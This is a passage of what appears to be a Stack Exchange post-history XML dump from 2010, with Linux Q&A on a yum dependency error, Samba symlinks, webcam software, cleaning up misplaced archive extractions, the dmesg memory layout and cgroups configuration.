  <row Id="11345" PostHistoryTypeId="2" PostId="5119" RevisionGUID="0f89cb27-bdb4-40b5-acc2-f41d744e6931" CreationDate="2010-12-24T03:10:17.837" UserId="1267" Text="&#xD;&#xA;When i am running the yum update command in terminal i am getting the following error. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[root@chandru chandru.math]# yum update&#xD;&#xA;Loaded plugins: presto, refresh-packagekit, remove-with-leaves&#xD;&#xA;Setting up Update Process&#xD;&#xA;Resolving Dependencies&#xD;&#xA;--&gt; Running transaction check&#xD;&#xA;--&gt; Processing Dependency: kdebase-runtime-libs(x86-32) = 4.5.3-3.fc13 for package: kdebase-runtime-4.5.3-3.fc13.i686&#xD;&#xA;---&gt; Package kdebase-runtime-libs.i686 0:4.5.4-1.fc13 set to be updated&#xD;&#xA;--&gt; Finished Dependency Resolution&#xD;&#xA;Error: Package: kdebase-runtime-4.5.3-3.fc13.i686 (@updates)&#xD;&#xA;           Requires: kdebase-runtime-libs(x86-32) = 4.5.3-3.fc13&#xD;&#xA;           Removing: kdebase-runtime-libs-4.5.3-3.fc13.i686 (@updates)&#xD;&#xA;               kdebase-runtime-libs(x86-32) = 4.5.3-3.fc13&#xD;&#xA;           Updated By: kdebase-runtime-libs-4.5.4-1.fc13.i686 (updates)&#xD;&#xA;               kdebase-runtime-libs(x86-32) = 4.5.4-1.fc13&#xD;&#xA;           Available: kdebase-runtime-libs-4.4.2-3.fc13.i686 (fedora)&#xD;&#xA;               kdebase-runtime-libs(x86-32) = 4.4.2-3.fc13&#xD;&#xA; You could try using --skip-broken to work around the problem&#xD;&#xA;** Found 6 pre-existing rpmdb problem(s), 'yum check' output follows:&#xD;&#xA;kdebase-runtime-4.5.4-1.fc13.i686 is a duplicate with kdebase-runtime-4.5.3-3.fc13.i686&#xD;&#xA;kdebase-runtime-4.5.4-1.fc13.i686 has missing requires of kdebase-runtime-libs(x86-32) = ('0', '4.5.4', '1.fc13')&#xD;&#xA;kdebase-runtime-flags-4.5.4-1.fc13.noarch is a duplicate with kdebase-runtime-flags-4.5.3-3.fc13.noarch&#xD;&#xA;6:kdelibs-4.5.4-2.fc13.i686 is a duplicate with 6:kdelibs-4.5.3-3.fc13.i686&#xD;&#xA;6:kdelibs-common-4.5.4-2.fc13.i686 is a duplicate with 6:kdelibs-common-4.5.3-3.fc13.i686&#xD;&#xA;phonon-4.4.3-2.fc13.i686 is a duplicate with phonon-4.4.2-1.fc13.i686&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please let me know what to do." />
  <row Id="11346" PostHistoryTypeId="1" PostId="5119" RevisionGUID="0f89cb27-bdb4-40b5-acc2-f41d744e6931" CreationDate="2010-12-24T03:10:17.837" UserId="1267" Text="Fedora yum update error" />
  <row Id="11347" PostHistoryTypeId="3" PostId="5119" RevisionGUID="0f89cb27-bdb4-40b5-acc2-f41d744e6931" CreationDate="2010-12-24T03:10:17.837" UserId="1267" Text="éfedoraàéyumà" />
  <row Id="11348" PostHistoryTypeId="2" PostId="5120" RevisionGUID="b34f4d59-f8de-4c4d-a7bb-75aa9ae5c7eb" CreationDate="2010-12-24T03:23:12.900" UserId="2418" Text="This is ubuntu server 10.04 64 and samba 3.4.7&#xD;&#xA;&#xD;&#xA;I have a shared directory /home/mit/share and another one /home/temp that I link into the shared one:&#xD;&#xA;&#xD;&#xA;ln -s /home/temp /home/mit/share/temp&#xD;&#xA;&#xD;&#xA;But on windows, after net use'ing I cannot open S:/temp, on linux it is possible to access /home/mit/share/temp like expected. &#xD;&#xA;&#xD;&#xA;This works if I link directories inside /home/mit/share/temp, so I guess samba is restricting to jump with a like outside/above the shared directory. I thought I could override this restriction with&#xD;&#xA;&#xD;&#xA;            follow symlinks = yes&#xD;&#xA;            wide links = yes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is my smb.conf:&#xD;&#xA;&#xD;&#xA;    [global]&#xD;&#xA;            workgroup = W11&#xD;&#xA;            security = SHARE&#xD;&#xA;            passdb backend = smbpasswd:/etc/samba/smbpasswd&#xD;&#xA;            unix password sync = no&#xD;&#xA;            #username map = /etc/samba/user.map&#xD;&#xA;            syslog = 0&#xD;&#xA;            log file = /var/log/samba/log.%m&#xD;&#xA;            max log size = 1000&#xD;&#xA;            dns proxy = No&#xD;&#xA;            panic action = /usr/share/samba/panic-action %d&#xD;&#xA;            encrypt passwords = true&#xD;&#xA;            invalid users = root&#xD;&#xA;            hosts allow = 10.1.1.0/24&#xD;&#xA;    &#xD;&#xA;    [s]&#xD;&#xA;            comment = S&#xD;&#xA;            follow symlinks = yes&#xD;&#xA;            wide links = yes&#xD;&#xA;            path = /home/mit/share&#xD;&#xA;            valid users = mit&#xD;&#xA;            read only = no&#xD;&#xA;            create mask = 0660&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11349" PostHistoryTypeId="1" PostId="5120" RevisionGUID="b34f4d59-f8de-4c4d-a7bb-75aa9ae5c7eb" CreationDate="2010-12-24T03:23:12.900" UserId="2418" Text="Make samba follow symlink outside share" />
  <row Id="11350" PostHistoryTypeId="3" PostId="5120" RevisionGUID="b34f4d59-f8de-4c4d-a7bb-75aa9ae5c7eb" CreationDate="2010-12-24T03:23:12.900" UserId="2418" Text="ésambaàésymlinkà" />
  <row Id="11351" PostHistoryTypeId="5" PostId="5119" RevisionGUID="7867073f-bb9c-455b-8a05-0a0d24df2aa8" CreationDate="2010-12-24T03:59:31.447" UserId="1207" Comment="made it slighly easier to read; deleted 32 characters in body" Text="When I run `yum update`, I receive the following error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [root@chandru chandru.math]# yum update&#xD;&#xA;    Loaded plugins: presto, refresh-packagekit, remove-with-leaves&#xD;&#xA;    Setting up Update Process&#xD;&#xA;    Resolving Dependencies&#xD;&#xA;    --&gt; Running transaction check&#xD;&#xA;    --&gt; Processing Dependency: kdebase-runtime-libs(x86-32) = 4.5.3-3.fc13 for package: kdebase-runtime-4.5.3-3.fc13.i686&#xD;&#xA;    ---&gt; Package kdebase-runtime-libs.i686 0:4.5.4-1.fc13 set to be updated&#xD;&#xA;    --&gt; Finished Dependency Resolution&#xD;&#xA;    Error: Package: kdebase-runtime-4.5.3-3.fc13.i686 (@updates)&#xD;&#xA;               Requires: kdebase-runtime-libs(x86-32) = 4.5.3-3.fc13&#xD;&#xA;               Removing: kdebase-runtime-libs-4.5.3-3.fc13.i686 (@updates)&#xD;&#xA;                   kdebase-runtime-libs(x86-32) = 4.5.3-3.fc13&#xD;&#xA;               Updated By: kdebase-runtime-libs-4.5.4-1.fc13.i686 (updates)&#xD;&#xA;                   kdebase-runtime-libs(x86-32) = 4.5.4-1.fc13&#xD;&#xA;               Available: kdebase-runtime-libs-4.4.2-3.fc13.i686 (fedora)&#xD;&#xA;                   kdebase-runtime-libs(x86-32) = 4.4.2-3.fc13&#xD;&#xA;     You could try using --skip-broken to work around the problem&#xD;&#xA;    ** Found 6 pre-existing rpmdb problem(s), 'yum check' output follows:&#xD;&#xA;    kdebase-runtime-4.5.4-1.fc13.i686 is a duplicate with kdebase-runtime-4.5.3-3.fc13.i686&#xD;&#xA;    kdebase-runtime-4.5.4-1.fc13.i686 has missing requires of kdebase-runtime-libs(x86-32) = ('0', '4.5.4', '1.fc13')&#xD;&#xA;    kdebase-runtime-flags-4.5.4-1.fc13.noarch is a duplicate with kdebase-runtime-flags-4.5.3-3.fc13.noarch&#xD;&#xA;    6:kdelibs-4.5.4-2.fc13.i686 is a duplicate with 6:kdelibs-4.5.3-3.fc13.i686&#xD;&#xA;    6:kdelibs-common-4.5.4-2.fc13.i686 is a duplicate with 6:kdelibs-common-4.5.3-3.fc13.i686&#xD;&#xA;    phonon-4.4.3-2.fc13.i686 is a duplicate with phonon-4.4.2-1.fc13.i686&#xD;&#xA;&#xD;&#xA;Please let me know what to do.&#xD;&#xA;" />
  <row Id="11352" PostHistoryTypeId="2" PostId="5121" RevisionGUID="d2a86fde-03dd-4559-b72c-e1804394238c" CreationDate="2010-12-24T04:05:51.597" UserId="1207" Text="I'm not a regular Fedora user but the following is a generic solutions I've used in the past.&#xD;&#xA;&#xD;&#xA;Try running&#xD;&#xA;&#xD;&#xA;    $ yum clean all&#xD;&#xA;&#xD;&#xA;and then rerunning the `yum update` command." />
  <row Id="11353" PostHistoryTypeId="2" PostId="5122" RevisionGUID="f404a73a-54ad-462d-9306-096316b6ddd4" CreationDate="2010-12-24T04:35:24.753" UserId="1571" Text="What are some good full-featured (whatever that means) webcam applications in linux. I know about cheese, but found some of its features lacking. Are there any others?" />
  <row Id="11354" PostHistoryTypeId="1" PostId="5122" RevisionGUID="f404a73a-54ad-462d-9306-096316b6ddd4" CreationDate="2010-12-24T04:35:24.753" UserId="1571" Text="Linux webcam software" />
  <row Id="11355" PostHistoryTypeId="3" PostId="5122" RevisionGUID="f404a73a-54ad-462d-9306-096316b6ddd4" CreationDate="2010-12-24T04:35:24.753" UserId="1571" Text="éwebcamà" />
  <row Id="11356" PostHistoryTypeId="2" PostId="5123" RevisionGUID="5001d0d3-9f87-4ef7-aaa7-f6cf9ea39563" CreationDate="2010-12-24T04:50:13.530" UserId="2362" Text="Usually, I unarchive things by `$ mkdir newFolder; $ mv *.zip newFolder; $ cd newFolder; $unzip *.zip` but sometimes I get lazy and just do in an arbitrary folder `$ unzip *.zip` so time-to-time messing up with other content. Before you say that my brains are missing, I will list here some methods -- some archive version surely have crappy-flags while others more spartan, I am more interested about the latter but feel free to share any way.&#xD;&#xA;&#xD;&#xA;**Some ways to de-unarchive, are there others?**&#xD;&#xA;&#xD;&#xA;1. `$ find . -anewer fileThatExistedBeforeUnarchieving -ok rm '{}' \;` Weaknesses are that it lists the `*.zip` dirs, so you need to use slow `-ok`, slow with many `*.zip` matches and, for some reason, it does not seem to match everything extracted. &#xD;&#xA;&#xD;&#xA;2. If small amount of extracted files, one-by-one, slow, cumbersome and error-prone.&#xD;&#xA;&#xD;&#xA;3. When I want to make sure whether the content of the archieve is actually a folder, I sometimes check it with `$ unzip -l *.bsd`, works at least in obsd`s unzip-version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you are referring to certain archiving tools, please, state them when appropriate. Keep it simple though  -- I am more interested about the WAYS how you do it.&#xD;&#xA;&#xD;&#xA;*I was unable to invent creative tag for this but hopefully you can see that I more interested about the process, rather than a single tool.*" />
  <row Id="11357" PostHistoryTypeId="1" PostId="5123" RevisionGUID="5001d0d3-9f87-4ef7-aaa7-f6cf9ea39563" CreationDate="2010-12-24T04:50:13.530" UserId="2362" Text="How to de-unzip, de-tar -xvf -- de-unarchive in a messy folder?" />
  <row Id="11358" PostHistoryTypeId="3" PostId="5123" RevisionGUID="5001d0d3-9f87-4ef7-aaa7-f6cf9ea39563" CreationDate="2010-12-24T04:50:13.530" UserId="2362" Text="éprocessàéarchiveàétaràézipà" />
  <row Id="11359" PostHistoryTypeId="2" PostId="5124" RevisionGUID="705b5115-b831-4b08-bb21-99094c7e51a8" CreationDate="2010-12-24T06:03:54.697" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;While going through the __&quot;Output of dmesg&quot;__ I could see a list of values which i am not able to understand properly.    &#xD;&#xA;&#xD;&#xA;    Memory: 2047804k/2086248k available (3179k kernel code, 37232k reserved, 1935k data, 436k init, 1176944k highmem)&#xD;&#xA;    virtual kernel memory layout:&#xD;&#xA;        fixmap  : 0xffc57000 - 0xfffff000   (3744 kB)&#xD;&#xA;        pkmap   : 0xff800000 - 0xffa00000   (2048 kB)&#xD;&#xA;        vmalloc : 0xf7ffe000 - 0xff7fe000   ( 120 MB)&#xD;&#xA;        lowmem  : 0xc0000000 - 0xf77fe000   ( 887 MB)&#xD;&#xA;          .init : 0xc0906000 - 0xc0973000   ( 436 kB)&#xD;&#xA;          .data : 0xc071ae6a - 0xc08feb78   (1935 kB)&#xD;&#xA;          .text : 0xc0400000 - 0xc071ae6a   (3179 kB)&#xD;&#xA;&#xD;&#xA;From the values i understand that i have 2GB RAM(Physical memory). But rest of the things seems to be Magic Numbers for me.  &#xD;&#xA;&#xD;&#xA;I would like to know about each one (fixmap, pkmap,.. etc.) in brief(if more doubts, I will post each one as a separate Question)?  &#xD;&#xA;&#xD;&#xA;Could someone explain that to me?   &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="11360" PostHistoryTypeId="1" PostId="5124" RevisionGUID="705b5115-b831-4b08-bb21-99094c7e51a8" CreationDate="2010-12-24T06:03:54.697" UserId="2871" Text="What does the Virtual kernel Memory Layout in dmesg imply?" />
  <row Id="11361" PostHistoryTypeId="3" PostId="5124" RevisionGUID="705b5115-b831-4b08-bb21-99094c7e51a8" CreationDate="2010-12-24T06:03:54.697" UserId="2871" Text="élinuxàémemoryàévirtualàédmesgà" />
  <row Id="11362" PostHistoryTypeId="2" PostId="5125" RevisionGUID="e0bf5bd5-3aaa-447d-85fa-599c026cfdf1" CreationDate="2010-12-24T06:41:54.363" UserId="1946" Text="How about feeding the list of files in archive to `xargs rm`?&#xD;&#xA;&#xD;&#xA;That would be `tar -tf tarbomb.tar | xargs rm` or `unzip --list zipbomb.zip | xargs rm`." />
  <row Id="11363" PostHistoryTypeId="6" PostId="5122" RevisionGUID="44f35cd0-4028-47c1-be53-a42ecf674272" CreationDate="2010-12-24T07:40:00.693" UserId="1207" Comment="edited tags" Text="ésoftwareörecàéwebcamà" />
  <row Id="11364" PostHistoryTypeId="2" PostId="5126" RevisionGUID="1dd53daf-cffd-49ab-88e5-6937d969ca4c" CreationDate="2010-12-24T09:03:44.843" UserId="665" Text=" - [ZoneMinder][1]&#xD;&#xA; - [Motion][4]&#xD;&#xA; - [ekiga][5]&#xD;&#xA; - [peercast][2] + [geekcast][3]&#xD;&#xA; - or even [hascii][6] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zoneminder.com/&#xD;&#xA;  [2]: http://www.peercast.org/&#xD;&#xA;  [3]: http://home.gna.org/geekast/&#xD;&#xA;  [4]: http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome&#xD;&#xA;  [5]: http://www.ekiga.org/&#xD;&#xA;  [6]: http://ascii.dyne.org/" />
  <row Id="11365" PostHistoryTypeId="2" PostId="5127" RevisionGUID="0634721a-6ae7-4271-ab6d-e5a3b662c65d" CreationDate="2010-12-24T09:05:38.680" UserId="2567" Text="Not really what you asked for but how about to use a &quot;unzip all&quot; script instead of.&#xD;&#xA;&#xD;&#xA;    unzip *.zip&#xD;&#xA;&#xD;&#xA;That way the output from each file goes into it's own directory.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    for f in *.zip ; do unzip -n &quot;$f&quot; -d &quot;${f/%zip/out}&quot;; done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11366" PostHistoryTypeId="2" PostId="5128" RevisionGUID="284d94c6-a077-479b-95d8-74926cd924f3" CreationDate="2010-12-24T12:05:28.960" UserId="3069" Text="The kernel [documentation][1] provides a general coverage of cgroups with examples.&#xD;&#xA;&#xD;&#xA;The `cgroups-bin` package (which depends on `libcgroup1`) already provided by the distribution should be fine.&#xD;&#xA;&#xD;&#xA;Configuration is done by editing the following two files:&#xD;&#xA;&#xD;&#xA;    /etc/cgconfig.conf&#xD;&#xA;&#xD;&#xA;Used by libcgroup to define control groups, their parameters and mount points.&#xD;&#xA;&#xD;&#xA;    /etc/cgrules.conf&#xD;&#xA;&#xD;&#xA;Used by libcgroup to define the control groups to which the process belongs to.&#xD;&#xA;&#xD;&#xA;Those configuration files already have examples in it, so try adjusting them to your requirements. The man pages cover their configuration quite well.&#xD;&#xA;&#xD;&#xA;Afterwards, start the workload manager and rules daemon:&#xD;&#xA;&#xD;&#xA;    service cgconfig restart&#xD;&#xA;    service cgred restart&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Example cgconfig.conf :&#xD;&#xA;&#xD;&#xA;    group group1 {&#xD;&#xA;        perm {&#xD;&#xA;                task {&#xD;&#xA;                        uid = alice;&#xD;&#xA;                        gid = alice;&#xD;&#xA;                }&#xD;&#xA;                admin {&#xD;&#xA;                        uid = root;&#xD;&#xA;                        gid = root;&#xD;&#xA;                }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        cpu {&#xD;&#xA;                cpu.shares = 500;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    group group2 {&#xD;&#xA;        perm {&#xD;&#xA;                task {&#xD;&#xA;                        uid = bob;&#xD;&#xA;                        gid = bob;&#xD;&#xA;                }&#xD;&#xA;                admin {&#xD;&#xA;                        uid = root;&#xD;&#xA;                        gid = root;&#xD;&#xA;                }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        cpu {&#xD;&#xA;                cpu.shares = 500;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    mount {&#xD;&#xA;        cpu = /dev/cgroups/cpu;&#xD;&#xA;        cpuacct = /dev/cgroups/cpuacct;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Example /etc/cgrules.conf :&#xD;&#xA;&#xD;&#xA;    alice            cpu             group1/&#xD;&#xA;    bob              cpu             group2/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This will share the CPU ressources about 50-50 between the user 'alice' and 'bob'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; [1]: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=tree;f=Documentation/cgroups" />
  <row Id="11367" PostHistoryTypeId="5" PostId="5128" RevisionGUID="9c90feb9-dd36-462d-9d9d-dfe8c281c4e1" CreationDate="2010-12-24T12:53:08.357" UserId="3069" Comment="clarification" Text="The kernel [documentation][1] provides a general coverage of cgroups with examples.&#xD;&#xA;&#xD;&#xA;The `cgroups-bin` package (which depends on `libcgroup1`) already provided by the distribution should be fine.&#xD;&#xA;&#xD;&#xA;Configuration is done by editing the following two files:&#xD;&#xA;&#xD;&#xA;    /etc/cgconfig.conf&#xD;&#xA;&#xD;&#xA;Used by libcgroup to define control groups, their parameters and mount points.&#xD;&#xA;&#xD;&#xA;    /etc/cgrules.conf&#xD;&#xA;&#xD;&#xA;Used by libcgroup to define the control groups to which the process belongs to.&#xD;&#xA;&#xD;&#xA;Those configuration files already have examples in it, so try adjusting them to your requirements. The man pages cover their configuration quite well.&#xD;&#xA;&#xD;&#xA;Afterwards, start the workload manager and rules daemon:&#xD;&#xA;&#xD;&#xA;    service cgconfig restart&#xD;&#xA;    service cgred restart&#xD;&#xA;&#xD;&#xA;The workload manager (cgconfig) is responsible for allocating the ressources.   &#xD;&#xA;Adding a new process to the manager:&#xD;&#xA;&#xD;&#xA;    cgexec [-g &lt;controllers&gt;:&lt;path&gt;] command [args]&#xD;&#xA;&#xD;&#xA;Adding a already running process to the manager:&#xD;&#xA;&#xD;&#xA;    cgclassify [-g &lt;controllers&gt;:&lt;path&gt;] &lt;pidlist&gt;&#xD;&#xA;&#xD;&#xA;Or automatically over the cgrules.conf file and the CGroup Rules Daemon (cgred), which forces every newly spawn process into the specified group.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Example cgconfig.conf :&#xD;&#xA;&#xD;&#xA;    group group1 {&#xD;&#xA;        perm {&#xD;&#xA;                task {&#xD;&#xA;                        uid = alice;&#xD;&#xA;                        gid = alice;&#xD;&#xA;                }&#xD;&#xA;                admin {&#xD;&#xA;                        uid = root;&#xD;&#xA;                        gid = root;&#xD;&#xA;                }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        cpu {&#xD;&#xA;                cpu.shares = 500;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    group group2 {&#xD;&#xA;        perm {&#xD;&#xA;                task {&#xD;&#xA;                        uid = bob;&#xD;&#xA;                        gid = bob;&#xD;&#xA;                }&#xD;&#xA;                admin {&#xD;&#xA;                        uid = root;&#xD;&#xA;                        gid = root;&#xD;&#xA;                }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        cpu {&#xD;&#xA;                cpu.shares = 500;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    mount {&#xD;&#xA;        cpu = /dev/cgroups/cpu;&#xD;&#xA;        cpuacct = /dev/cgroups/cpuacct;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Example /etc/cgrules.conf :&#xD;&#xA;&#xD;&#xA;    alice            cpu             group1/&#xD;&#xA;    bob              cpu             group2/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This will share the CPU ressources about 50-50 between the user 'alice' and 'bob'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; [1]: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=tree;f=Documentation/cgroups" />
  <row Id="11368" PostHistoryTypeId="2" PostId="5129" RevisionGUID="5632fea2-4963-4594-b284-c686941dbc94" CreationDate="2010-12-24T13:38:09.643" UserId="885" Text="### By name&#xD;&#xA;&#xD;&#xA;You can generate the list of files in the archive and delete them, though this is annoyingly fiddly with archivers such as unzip or 7z that don't have an option to generate a plain list of file names. Even with tar, this assumes there are no newlines in file names.&#xD;&#xA;&#xD;&#xA;    tar tf foo.tar | while read -r file; do rm -- &quot;$file&quot; done&#xD;&#xA;    unzip -l foo.zip | awk '&#xD;&#xA;        p &amp;&amp; /^ --/ {p=2}&#xD;&#xA;        p==1 {print substr($0, 29)}&#xD;&#xA;        /^ --/ {++p}&#xD;&#xA;    ' | while …&#xD;&#xA;    unzip -l foo.zip | tail -n +4 | head -n -2 | while …  # GNU coreutils only&#xD;&#xA;    7z l -slt foo.zip | sed -n 's/^Path = //p' | while …  # works on tar.*, zip, 7z and more&#xD;&#xA;&#xD;&#xA;Instead of removing the files, you could move them to their intended destination. &#xD;&#xA;&#xD;&#xA;    tar tf foo.tar | while read -r file; do&#xD;&#xA;      if [ -d &quot;$file&quot; ]; then continue; fi&#xD;&#xA;      mkdir -p &quot;/intended/destination/${file%/*}&quot;&#xD;&#xA;      mv -- &quot;$file&quot; &quot;/intended/destination/$file&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;### Using FUSE&#xD;&#xA;&#xD;&#xA;Instead of depending on external tools, you can (on most unices) use [FUSE](http://fuse.sourceforge.net/) to manipulate archives using ordinary filesystem commands.&#xD;&#xA;&#xD;&#xA;You can use [Fuse-zip](http://code.google.com/p/fuse-zip/) to peek into a zip, extract it with `cp`, list its contents with `find`, etc.&#xD;&#xA;&#xD;&#xA;    mkdir /tmp/foo.d&#xD;&#xA;    fuse-zip foo.zip /tmp/foo.d&#xD;&#xA;    ## Remove the files that were extracted mistakenly (GNU/BSD find)&#xD;&#xA;    (cd /tmp/foo.d &amp;&amp; find . \! -type d -print0) | xargs -0 rm&#xD;&#xA;    ## Remove the files that were extracted mistakenly (zsh)&#xD;&#xA;    rm /tmp/foo.d/**(:&quot;s~/tmp/foo.d/~~&quot;^/)&#xD;&#xA;    ## Extract the contents where you really want them&#xD;&#xA;    cp -Rp /tmp/foo.d /intended/destination&#xD;&#xA;    fusermount -u foo.d&#xD;&#xA;    rmdir foo.d&#xD;&#xA;&#xD;&#xA;[AVFS](http://sourceforge.net/projects/avf/) creates a view of your entire directory hierarchy where all archives have an associated directory (same name with # tacked on at the end) that appears to hold the archive content.&#xD;&#xA;&#xD;&#xA;    mountavfs&#xD;&#xA;    ## Remove the files that were extracted mistakenly (GNU/BSD find)&#xD;&#xA;    (cd ~/.avfs/&quot;$PWD/foo.zip#&quot; &amp;&amp; find . \! -type d -print0) | xargs -0 rm&#xD;&#xA;    ## Remove the files that were extracted mistakenly (zsh)&#xD;&#xA;    rm ~/.avfs/$PWD/foo.zip\#/**/*(:&quot;s~$HOME/.avfs/$PWD/foo.zip#~~&quot;^/)&#xD;&#xA;    ## Extract the contents where you really want them&#xD;&#xA;    cp -Rp ~/.avfs/&quot;$PWD/foo.zip#&quot; /intended/destination&#xD;&#xA;    umountavfs&#xD;&#xA;&#xD;&#xA;### By date&#xD;&#xA;&#xD;&#xA;Assuming there hasn't been other any activity in the same hierarchy than your extraction, you can tell the extracted files by their recent [**ctime**](http://en.wikipedia.org/wiki/Stat_%28Unix%29). If you just created or moved the zip file, you can use it as a cutoff; otherwise use `ls -lctr` to determine a suitable cutoff time. If you want to make sure not to remove the zips, there's no reason to do any manual approval: `find` is perfectly capable of excluding them. Here are example commands using zsh or `find`; note that the `-cmin` and `-cnewer` primaries are not in POSIX but exist on Linux (and other systems with GNU find), *BSD and OSX.&#xD;&#xA;&#xD;&#xA;    find . \! -name '*.zip' -type f -cmin -5 -exec rm {} +  # extracted &lt;5 min ago&#xD;&#xA;    rm **/*~*.zip(.cm-6)  # zsh, extracted ≤5 min ago&#xD;&#xA;    find . -type f -cnewer foo.zip -exec rm {} +  # created or moved after foo.zip&#xD;&#xA;&#xD;&#xA;With GNU find, FreeBSD and OSX, another way to specify the cutoff time is to create a file and use `touch` to set its mtime to the cutoff time.&#xD;&#xA;&#xD;&#xA;    touch -d … cutoff&#xD;&#xA;    find . -type f -newercm cutoff -delete&#xD;&#xA;&#xD;&#xA;Instead of removing the files, you could move them to their intended destination. Here's a way with GNU/*BSD/OSX find, creating directories in the destination as needed.&#xD;&#xA;&#xD;&#xA;    find . \! -name . -cmin -5 -type f -exec sh -c '&#xD;&#xA;        for x; do&#xD;&#xA;          mkdir -p &quot;$0/${x%/*}&quot;&#xD;&#xA;          mv &quot;$x&quot; &quot;$0/$x&quot;&#xD;&#xA;        done&#xD;&#xA;      ' /intended/destination {} +&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Zsh equivalent (almost: this one reproduces the entire directory hierarchy, not just the directories that will contain files):&#xD;&#xA;&#xD;&#xA;    autoload zmv&#xD;&#xA;    mkdir -p ./**/*(/cm-3:s&quot;|.|/intended/destination|&quot;)&#xD;&#xA;    zmv -Q '(**/)(*)(.cm-3)' /intended/destination/'$1$2'&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Warning, I haven't tested most of the commands in this answer. Always review the list of files before removing (run `echo` first, then `rm` if it's ok).&#xD;&#xA;" />
  <row Id="11369" PostHistoryTypeId="6" PostId="5123" RevisionGUID="e5b69bac-0ffa-4125-9f6a-f53a5e512d03" CreationDate="2010-12-24T13:47:26.423" UserId="885" Comment="edited tags" Text="éarchiveàétaràézipàéfileömanagementà" />
  <row Id="11370" PostHistoryTypeId="5" PostId="5128" RevisionGUID="94966d94-0c19-41d3-8e47-87ec9b0d87c2" CreationDate="2010-12-24T14:51:28.177" UserId="3069" Comment="typo" Text="The kernel [documentation][1] provides a general coverage of cgroups with examples.&#xD;&#xA;&#xD;&#xA;The `cgroups-bin` package (which depends on `libcgroup1`) already provided by the distribution should be fine.&#xD;&#xA;&#xD;&#xA;Configuration is done by editing the following two files:&#xD;&#xA;&#xD;&#xA;    /etc/cgconfig.conf&#xD;&#xA;&#xD;&#xA;Used by libcgroup to define control groups, their parameters and mount points.&#xD;&#xA;&#xD;&#xA;    /etc/cgrules.conf&#xD;&#xA;&#xD;&#xA;Used by libcgroup to define the control groups to which the process belongs to.&#xD;&#xA;&#xD;&#xA;Those configuration files already have examples in it, so try adjusting them to your requirements. The man pages cover their configuration quite well.&#xD;&#xA;&#xD;&#xA;Afterwards, start the workload manager and rules daemon:&#xD;&#xA;&#xD;&#xA;    service cgconfig restart&#xD;&#xA;    service cgred restart&#xD;&#xA;&#xD;&#xA;The workload manager (cgconfig) is responsible for allocating the ressources.   &#xD;&#xA;Adding a new process to the manager:&#xD;&#xA;&#xD;&#xA;    cgexec [-g &lt;controllers&gt;:&lt;path&gt;] command [args]&#xD;&#xA;&#xD;&#xA;Adding a already running process to the manager:&#xD;&#xA;&#xD;&#xA;    cgclassify [-g &lt;controllers&gt;:&lt;path&gt;] &lt;pidlist&gt;&#xD;&#xA;&#xD;&#xA;Or automatically over the cgrules.conf file and the CGroup Rules Daemon (cgred), which forces every newly spawned process into the specified group.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Example /etc/cgconfig.conf :&#xD;&#xA;&#xD;&#xA;    group group1 {&#xD;&#xA;        perm {&#xD;&#xA;                task {&#xD;&#xA;                        uid = alice;&#xD;&#xA;                        gid = alice;&#xD;&#xA;                }&#xD;&#xA;                admin {&#xD;&#xA;                        uid = root;&#xD;&#xA;                        gid = root;&#xD;&#xA;                }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        cpu {&#xD;&#xA;                cpu.shares = 500;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    group group2 {&#xD;&#xA;        perm {&#xD;&#xA;                task {&#xD;&#xA;                        uid = bob;&#xD;&#xA;                        gid = bob;&#xD;&#xA;                }&#xD;&#xA;                admin {&#xD;&#xA;                        uid = root;&#xD;&#xA;                        gid = root;&#xD;&#xA;                }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        cpu {&#xD;&#xA;                cpu.shares = 500;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    mount {&#xD;&#xA;        cpu = /dev/cgroups/cpu;&#xD;&#xA;        cpuacct = /dev/cgroups/cpuacct;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Example /etc/cgrules.conf 